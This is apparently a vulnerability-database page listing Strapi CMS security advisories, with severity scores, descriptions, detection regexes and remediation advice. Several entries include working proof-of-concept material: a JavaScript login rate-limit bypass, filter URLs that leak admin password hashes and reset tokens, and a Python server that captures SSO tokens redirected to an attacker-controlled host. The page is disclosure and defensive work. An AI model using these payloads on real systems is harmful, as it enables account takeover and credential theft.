Where
-Infinity
0

Vendor Risk Score

See how strapi compares to other vendors in security performance

View Risk Score →
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server.

Details

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.

IoC

Using just the request log files, the only IoC to search for is a PUT request to URL path /users-permissions/email-templates. This IoC only indicates that a Strapi email template was modified on your server and by itself does not indicate if your Strapi server has been compromised. If this IoC is detected, you will need to manually review your email templates on your Strapi server and backups of your database to see if any of the templates contain a lodash template delimiter (eg. <%STUFF HERE%>) that contains suspicious JavaScript code. Generally speaking these templates should look like the following, you may have minor adjustments but any unrecognized code should be considered suspicious.

Reset Password Template:

html <p>We heard that you lost your password. Sorry about that!</p>

<p>But don’t worry! You can use the following link to reset your password:</p> <p><%= URL %>?code=<%= TOKEN %></p>

<p>Thanks.</p>

Email Confirmation Template:

html <p>Thank you for registering!</p>

<p>You have to confirm your email address. Please click on the link below.</p>

<p><%= URL %>?confirmation=<%= CODE %></p>

<p>Thanks.</p>

Specifically you should look for odd code contained within the <%STUFF HERE%> blocks as this is what is used to bypass the lodash templating system. If you find any code that is not a variable name, or a variable name that is not defined in the template you are most likely impacted and should take immediate steps to confirm there are no malicious applications running on your servers.

Impact

All users on Strapi below 4.5.6 with access to the admin panel and the ability to modify the email templates

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2)

3. PoC Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.

Pattern 1 (uppercase and lowercase) js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalidpassword", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]4e4", // correct password };

for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); }

const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText);

const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })();

This PoC does the following: 1. Request 30 incorrect logins. 4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests) 5. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

Pattern 2 (trailing slash) js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalidpassword", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]4e4", // correct password };

for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); }

const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText);

const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res2.status + " " + res2.statusText); })();

This PoC does the following: 1. Request 30 incorrect logins. 2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests) 3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

PoC Video - PoC Video

4. Impact It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.

5. Measures Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path) Also, remove any extra slashes in the request path.

https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31

6. References - OWASP: API2:2023 Broken Authentication - OWASP: Authentication Cheat Sheet - OWASP: Denial of Service Cheat Sheet (Rate limiting)

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

admin/src/containers/InputModalStepperProvider/index.js in Strapi before 3.2.5 has unwanted /proxy?url= functionality.

1 / 2
First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.

First published (updated )
Severity
9.8
Malicious File Upload
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An arbitrary file upload vulnerability in the file upload module of Strapi v4.1.5 allows attackers to execute arbitrary code via a crafted file.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Strapi through 4.7.1 allows unauthenticated attackers to discover sensitive user details for Strapi administrators and API users.

Details

Strapi through 4.7.1 allows unauthenticated attackers to discover sensitive user details for Strapi administrators and API users. The unauthenticated attacker can filter users by columns that contain sensitive information and infer the values by the changes in the API responses. An unauthenticated attacker can exploit this vulnerability to hijack Strapi administrator accounts and gain unauthorized Strapi Super Administrator access by leaking the password reset token and changing the admin password. This can be exploited on all Strapi versions <=4.7.1.

IoC

The exploitation of CVE-2023-22894 is easily detectable, since the payload is within the GET parameters and are normally included in request logs. The following regex pattern will extract requests that are exploiting this vulnerability to leak user's email, password and password reset token columns.

/(\[|%5B)\s(email|password|resetpasswordtoken|resetPasswordToken)\s(\]|%5D)/

You can search log files for this IoC by using the following grep command.

grep -iE '(\[|%5B)\s(email|password|resetpasswordtoken|resetPasswordToken)\s(\]|%5D)' $PATHTOLOGFILE

If the above regex pattern matches any lines in your log files, take extra precaution to look out for multiple requests that include password, resetpasswordtoken or resetPasswordToken. This would indicate that an attacker has leaked the password hashes and reset tokens on your Strapi server and you need to immediately start an incident response!

Impact

All Strapi users below 4.8.0

1 / 2
First published (updated )
Severity
9.3
SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary of CVE-2026-22599 Vulnerability Details

- CVE: CVE-2026-22599 - CVSS v3.1 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N (9.3 — Critical) - Affected Versions: @strapi/content-type-builder <=5.33.1 (v5), @strapi/plugin-content-type-builder <=4.26.0 (v4) - How to Patch: Immediately update your Strapi to >=5.33.2 (v5) or >=4.26.1 (v4)

Description of CVE-2026-22599

A database-query injection vulnerability existed in the Strapi Content-Type Builder write API. An authenticated administrator could inject arbitrary database statements through the column.defaultTo attribute when creating or modifying a content type. Setting defaultTo as a tuple [value, { isRaw: true }] caused the value to be passed directly into Knex's db.connection.raw() during schema migration without sanitization, allowing arbitrary statement execution at the database layer. Depending on the database engine, this enabled arbitrary file read via database utility functions, denial of service via forced server crash on schema-migration error, and on engines that permit external program execution, remote code execution against the database server.

The patch addresses this by restricting all Content-Type Builder write APIs to development mode only. Production deployments running v5.33.2 or later return 404 for requests against /content-type-builder/content-types and related endpoints, removing the network-reachable attack surface entirely.

IoC's for CVE-2026-22599

Indicators that an instance running an unpatched version may have been exploited:

- HTTP access logs containing POST or PUT requests to /content-type-builder/content-types from a non-internal source. Regex pattern: (POST|PUT)\s+/content-type-builder/ - Database server logs containing unexpected DEFAULT clause values that reference filesystem-access or program-execution helper functions of your database engine - Strapi server crashes immediately following a content-type creation or update, observed as the Node process exiting during the schema-migration step - Files appearing under unexpected paths on the database host that match content-type DEFAULT values from the application - Newly-created content-types named or shaped to extract specific data (attribute names like passwd, etc, env, config)

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Strapi versions 4.x through 4.26.2 and 5.x before 5.48.1 contain a stored cross-site scripting vulnerability in the content manager WYSIWYG preview component that fails to strip script tags from rich text. An Author-role user can store malicious script tags in rich text fields that execute in an Editor or Super Admin's session when the preview pane is expanded, enabling account takeover.

First published (updated )
Severity
9.2
Path Traversal, Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary of CVE-2026-27886 Vulnerability Details

- CVE: CVE-2026-27886 - CVSS v3.1 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N (9.3 — Critical) - Affected Versions: @strapi/strapi <=5.36.1 - How to Patch: Immediately update your Strapi to >=5.37.0

Description of CVE-2026-27886

Strapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the where query parameter on any publicly-accessible content-type with an updatedBy (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined adminusers table, including the resetPasswordToken field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.

When a filter such as where[updatedBy][resetPasswordToken][$startsWith]=a was applied to a public Content API endpoint, the underlying query generation performed a LEFT JOIN against the adminusers table and emitted a WHERE clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.

The patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: strictParam, addQueryParams, and addBodyParams. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.

IoC's for CVE-2026-27886

Indicators that an instance running an unpatched version may have been exploited:

- Server access logs containing query strings traversing into admin-relation private fields. Regex: \?(.&)?where\[(updatedBy|createdBy|publishedBy)\]\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\]\[\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\]= - High volume of public Content API requests from a single IP iterating through a hex alphabet (0-9, a-f) on the same content-type endpoint with progressively-longer filter values - Subsequent POST /admin/reset-password calls using a reset token that the legitimate admin did not request - Successful admin password change immediately following a burst of public Content API requests with where[updatedBy] query parameters - Sustained burst of identical-shape requests with only the trailing character of the filter value varying

Credit Discovered by: James Doll - WildWest CyberSecurity Contact: cve+2026-27886@wildwestcyber.com Website: https://wildwestcyber.com LinkedIn: https://www.linkedin.com/in/james-doll-273a61243

1 / 2
Source: GitHub
First published (updated )
Severity
9
OS Command Injection
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

The Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code Execution in the Install and Uninstall Plugin components of the Admin panel, because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function.

First published (updated )
Severity
9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

An authenticated user with access to the Strapi admin panel can view private and sensitive data, such as email and password reset tokens, for other admin panel users that have a relationship (e.g., created by, updated by) with content accessible to the authenticated user. For example, a low-privileged “author” role account can view these details in the JSON response for an “editor” or “super admin” that has updated one of the author’s blog posts. There are also many other scenarios where such details from other users can leak in the JSON response, either through a direct or indirect relationship. Access to this information enables a user to compromise other users’ accounts by successfully invoking the password reset workflow. In a worst-case scenario, a low-privileged user could get access to a “super admin” account with full control over the Strapi instance, and could read and modify any data as well as block access to both the admin panel and API by revoking privileges for all other users.

First published (updated )
Severity
8.8
XSS, Malicious File Upload
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

DISPUTED An unrestricted file upload vulnerability in the Add New Assets function of Strapi 4.1.12 allows attackers to conduct XSS attacks via a crafted PDF file. NOTE: the project documentation suggests that a user with the Media Library "Create (upload)" permission is supposed to be able to upload PDF files containing JavaScript, and that all files in a public assets folder are accessible to the outside world (unless the filename begins with a dot character). The administrator can choose to allow only image, video, and audio files (i.e., not PDF) if desired.

1 / 3
First published (updated )
Severity
8.8
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Strapi before 3.6.10 and 4.x before 4.1.10 mishandles hidden attributes within admin API responses.

First published (updated )
Severity
8.6
Infoleak, SQL Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary Still able to leak private fields if using the t(number) prefix

Details Knex query allows you to change there default prefix SqliteError: select distinct t0. from pages as t0 left join adminusers as t1 on t0.updatedbyid = t1.id where (t1.password = 1) so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected PoC 1 Create a contentType 2 add to its options "populateCreatorFields" 3 create 1 entity in your new content type 4 in settings enable the find route in settings for the content type you created for public 5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24 And now the api returns noting if you were to do /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity

Impact You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.

1 / 2
First published (updated )
Severity
8.2
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary It's possible to access any private fields by filtering through the lookup parameters

Details

Using the new lookup operator provided by the document service in Strapi 5, it is not properly sanitizing this query operator for private fields.

PoC

1. Create a strapi app. 2. Create a content-type 3. In the content-type you make a new entry 4. Go back to the list view 4. Add &lookup[updatedBy][password][$startsWith]=$2 to the end of your url (All passwords start with $2) see that all entries are still there 6. Add &lookup[updatedBy][password][$startsWith]=$3 see the entry disappear proving that the search above works

Impact

An attacker can perform filtering attacks on everything related to the object, including admin passwords and reset-tokens. This means that they can gain full access to the strapi instance.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Strapi 3.2.1 until 4.6.0 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.

1 / 2
First published (updated )
Severity
8.1
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Summary

By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).

Impact

Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.

Technical details

Vulnerability 1: Open Redirect

Description

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.

Remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:

- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs. - Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL. - The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend <span dir="">http://yourdomainname.com</span> to the URL before issuing the redirect.

Example 1: Open Redirect in <span dir="">/api/connect/microsoft</span> via $GET["callback"]

- Path: <span dir="">/api/connect/microsoft</span> - Parameter: $GET["callback"]

Payload:

plaintext https://google.fr/

Final payload:

plaintext https://<TARGET>/api/connect/microsoft?callback=https://google.fr/

User clicks on the link: !c1

Look at the intercepted request in Burp and see the redirect to Microsoft:

!c0

Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.

Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):

!c2

The domain originally specified (https://google.fr) as $GET["callback"] parameter is present in the cookies. So <span dir="">\<TARGET\></span> is using the cookies (koa.sess) to redirect.

!c3

koa.sess cookie:

base64 eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==

json {"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"expire":1700234244263,"maxAge":86400000}

The vulnerability seems to come from the application's core:

File: <span dir="">packages/plugins/users-permissions/server/controllers/auth.js</span>

js 'use strict';

/ Auth.js controller @description: A set of functions called "actions" for managing Auth. /

/ eslint-disable no-useless-escape / const crypto = require('crypto'); const = require('lodash'); const { concat, compact, isArray } = require('lodash/fp'); const utils = require('@strapi/utils'); const { contentTypes: { getNonWritableAttributes }, } = require('@strapi/utils'); const { getService } = require('../utils'); const { validateCallbackBody, validateRegisterBody, validateSendEmailConfirmationBody, validateForgotPasswordBody, validateResetPasswordBody, validateEmailConfirmationBody, validateChangePasswordBody, } = require('./validation/auth');

const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils; const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;

const sanitizeUser = (user, ctx) => { const { auth } = ctx.state; const userSchema = strapi.getModel('plugin::users-permissions.user');

return sanitize.contentAPI.output(user, userSchema, { auth }); };

module.exports = { async callback(ctx) { const provider = ctx.params.provider || 'local'; const params = ctx.request.body;

const store = strapi.store({ type: 'plugin', name: 'users-permissions' }); const grantSettings = await store.get({ key: 'grant' });

const grantProvider = provider === 'local' ? 'email' : provider;

if (!.get(grantSettings, [grantProvider, 'enabled'])) { throw new ApplicationError('This provider is disabled'); }

if (provider === 'local') { await validateCallbackBody(params);

const { identifier } = params;

// Check if the user exists. const user = await strapi.query('plugin::users-permissions.user').findOne({ where: { provider, $or: [{ email: identifier.toLowerCase() }, { username: identifier }], }, });

if (!user) { throw new ValidationError('Invalid identifier or password'); }

if (!user.password) { throw new ValidationError('Invalid identifier or password'); }

const validPassword = await getService('user').validatePassword( params.password, user.password );

if (!validPassword) { throw new ValidationError('Invalid identifier or password'); }

const advancedSettings = await store.get({ key: 'advanced' }); const requiresConfirmation = .get(advancedSettings, 'emailconfirmation');

if (requiresConfirmation && user.confirmed !== true) { throw new ApplicationError('Your account email is not confirmed'); }

if (user.blocked === true) { throw new ApplicationError('Your account has been blocked by an administrator'); }

return ctx.send({ jwt: getService('jwt').issue({ id: user.id }), user: await sanitizeUser(user, ctx), }); }

// Connect the user with the third-party provider. try { const user = await getService('providers').connect(provider, ctx.query);

if (user.blocked) { throw new ForbiddenError('Your account has been blocked by an administrator'); }

return ctx.send({ jwt: getService('jwt').issue({ id: user.id }), user: await sanitizeUser(user, ctx), }); } catch (error) { throw new ApplicationError(error.message); } },

//...

async connect(ctx, next) { const grant = require('grant-koa');

const providers = await strapi .store({ type: 'plugin', name: 'users-permissions', key: 'grant' }) .get();

const apiPrefix = strapi.config.get('api.rest.prefix'); const grantConfig = { defaults: { prefix: ${apiPrefix}/connect, }, ...providers, };

const [requestPath] = ctx.request.url.split('?'); const provider = requestPath.split('/connect/')[1].split('/')[0];

if (!.get(grantConfig[provider], 'enabled')) { throw new ApplicationError('This provider is disabled'); }

if (!strapi.config.server.url.startsWith('http')) { strapi.log.warn( 'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url' ); }

// Ability to pass OAuth callback dynamically grantConfig[provider].callback = .get(ctx, 'query.callback') || .get(ctx, 'session.grant.dynamic.callback') || grantConfig[provider].callback; grantConfig[provider].redirecturi = getService('providers').buildRedirectUri(provider);

return grant(grantConfig)(ctx, next); },

//...

};

And more specifically:

js ...

// Ability to pass OAuth callback dynamically grantConfig[provider].callback = .get(ctx, 'query.callback') || .get(ctx, 'session.grant.dynamic.callback') || grantConfig[provider].callback; grantConfig[provider].redirecturi = getService('providers').buildRedirectUri(provider);

return grant(grantConfig)(ctx, next); ...

Possible patch:

js grantConfig[provider].callback = process.env[${provider.toUpperCase()}REDIRECTURL] || grantConfig[provider].callback

.get(ctx, 'query.callback') = $GET["callback"] and .get(ctx, 'session') = $COOKIE["koa.sess"] (which is {"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"expire":1701275652123,"maxAge":86400000}) so .get(ctx, 'session.grant.dynamic.callback') = https://XXXXXXX/.

The route is clearly defined here:

File: <span dir="">packages/plugins/users-permissions/server/routes/content-api/auth.js</span>

js 'use strict';

module.exports = [

//...

{ method: 'GET', path: '/auth/:provider/callback', handler: 'auth.callback', config: { prefix: '', }, },

//...

];

File: <span dir="">packages/plugins/users-permissions/server/services/providers-registry.js</span>

js

const getInitialProviders = ({ purest }) => ({

//..

async microsoft({ accessToken }) { const microsoft = purest({ provider: 'microsoft' });

return microsoft .get('me') .auth(accessToken) .request() .then(({ body }) => ({ username: body.userPrincipalName, email: body.userPrincipalName, })); },

//..

});

If parameter $GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:

koa.sess=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9

Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"expire":1701275652123,"maxAge":86400000}.

The signature of the cookie is stored in cookie koa.sess.sig:

koa.sess.sig=wTRmcVRrn88hWMdg84VvSD87-0

File: <span dir="">packages/plugins/users-permissions/server/bootstrap/grant-config.js</span>

js

//..

microsoft: { enabled: false, icon: 'windows', key: '', secret: '', callback: ${baseURL}/microsoft/callback, scope: ['user.read'], },

//..

Vulnerability 2: Session token in URL

Description

Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Example 1: SSO token transmitted within URL ($GET["accesstoken"])

- Path: <span dir="">/api/connect/microsoft</span> - Parameter: $GET["callback"]

When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.

Weaponized payload:

plaintext https://<TARGET>/api/connect/microsoft?callback=http://<C2>:8080/

With a web server specially developed to exploit the vulnerability listening on <span dir="">\<C2\>:8080</span>, it is possible to retrieve a JWT token allowing authentication on Strapi.

A user is on his browser when he decides to click on a link sent to him by e-mail.

!c4

The attacker places the malicious link in the URL bar to simulate a victim's click.

!c5

The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.

Everything is invisible to the victim.

!c6

Because the victim didn't change to another Web page.

!c7

The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.

!c8

Details

Get the JWT token with the accesstoken

First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.

Request (HTTP):

http GET /api/auth/microsoft/callback?accesstoken=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1 Host: <TARGET>

Response (HTTP):

http HTTP/1.1 200 OK Server: nginx Date: Mon, 27 Nov 2023 17:58:46 GMT Content-Type: application/json; charset=utf-8 Content-Length: 411 Connection: keep-alive Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none Vary: Origin X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=31536000; includeSubDomains X-Powered-By: <REDACTED>

{"jwt":"eyJhbG<REDACTED>eCac","user":{"id":111,"username":"<REDACTED>@<REDACTED>-ext.com","email":"<redacted>@<redacted>-ext.com","provider":"microsoft","confirmed":true,"blocked":false,"createdAt":"2023-11-14T12:35:42.440Z","updatedAt":"2023-11-16T21:00:19.241Z","isexternal":false}}

Request API routes using the JWT token

Then reuse the JWT token to request the API.

Request (HTTP):

http GET /api/users/me/groups?app=support HTTP/1.1 Host: <TARGET> Authorization: Bearer eyJ<REDACTED>EeCac

Response (HTTP):

http HTTP/1.1 200 OK Server: nginx Date: Tue, 28 Nov 2023 13:45:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 24684 Connection: keep-alive Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none Vary: Origin X-RateLimit-Limit: 10 X-RateLimit-Remaining: 9 X-RateLimit-Reset: 1701179203 X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=31536000; includeSubDomains X-Powered-By: <REDACTED>

{"apps":{"support":{"groups":[{"devicewhitelist":null,"name":"test - support","id":10,"groupprivileges":[{"id":37,<REDACTED>

...

POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)

python import base64 import json import urllib.parse

from http.server import BaseHTTPRequestHandler, HTTPServer from sys import argv

Strapi URL. TARGET = "target.com"

URLs to which victims are automatically redirected. REDIRECTURL = [ "strapi.io", "www.google.fr" ] URL used to generate a valid JWT token for authentication within the application. GENJWTURL = f"https://{TARGET}/api/auth/microsoft/callback"

This function is used to generate a curl command which once executed, will give us a valid JWT connection token. def generatecurlcommand(token): command = f"curl '{GENJWTURL}?accesstoken={token}'" return command

We create a custom HTTP server to retrieve users' SSO tokens. class CustomServer(BaseHTTPRequestHandler):

# Here we override the default logging function to reduce verbosity. def logmessage(self, format, args): pass

# This function automatically redirects a user to the page defined in the # global variable linked to the redirection. def setresponse(self): self.sendresponse(302) self.sendheader("Location", REDIRECTURL[0]) self.endheaders()

# If an SSO token is present, we parse it and log the result in STDOUT. def doGET(self): # This condition checks whether a token is present in the URL. if str(self.path).find("accesstoken") != -1: # If this is the case, we recover the token. query = urllib.parse.urlparse(self.path).query querycomponents = dict(qc.split("=") for qc in query.split("&")) accesstoken = urllib.parse.unquote(querycomponents["accesstoken"])

# In the token, which is a string in JWT format, we retrieve the # body part of the token. interestingdata = accesstoken.split(".")[1]

# Patching base64 encoded data. interestingdata = interestingdata + "=" (-len(interestingdata) % 4)

# Parsing JSON. jsondata = json.loads(base64.b64decode(interestingdata.encode())) familyname, givenname, ipaddr, upn = jsondata["givenname"], jsondata["familyname"], jsondata["ipaddr"], jsondata["upn"]

print(f"[+] Token captured for {familyname} {givenname}, {upn} ({ipaddr}):\n{accesstoken}\n") print(f"[] Run: \"{generatecurlcommand(querycomponents['accesstoken'])}\" to get JWT token")

self.setresponse() self.wfile.write("Redirecting ...".encode("utf-8"))

def run(serverclass=HTTPServer, handlerclass=CustomServer, ip="0.0.0.0", port=8080): serveraddress = (ip, port) httpd = serverclass(serveraddress, handlerclass)

print(f"Starting httpd ({ip}:{port}) ...") try: httpd.serveforever() except KeyboardInterrupt: pass

httpd.serverclose() print("Stopping httpd ...")

if name == "main": if len(argv) == 3: run(ip=argv[1], port=int(argv[2])) else: run()

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

In Strapi through 3.6.0, the admin panel allows the changing of one's own password without entering the current password. An attacker who gains access to a valid session can use this to take over an account by changing the password.

First published (updated )
Severity
7.6
AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

System Details | Name | Value | |----------|------------------------| | OS | Windows 11 | | Version | 4.11.1 (node v16.14.2) | | Database | mysql |

Description I marked some fields as private fields in user content-type, and tried to register as a new user via api, at the same time I added content to fill the private fields and sent a post request, and as you can see from the images below, I can write to the private fields.

!register

!user

!privatefield

!table

To prevent this, I went to the extension area and tried to extend the register method, for this I wanted to do it using the sanitizeInput function that I know in the source codes of the strap. But the sanitizeInput function did not filter out private fields.

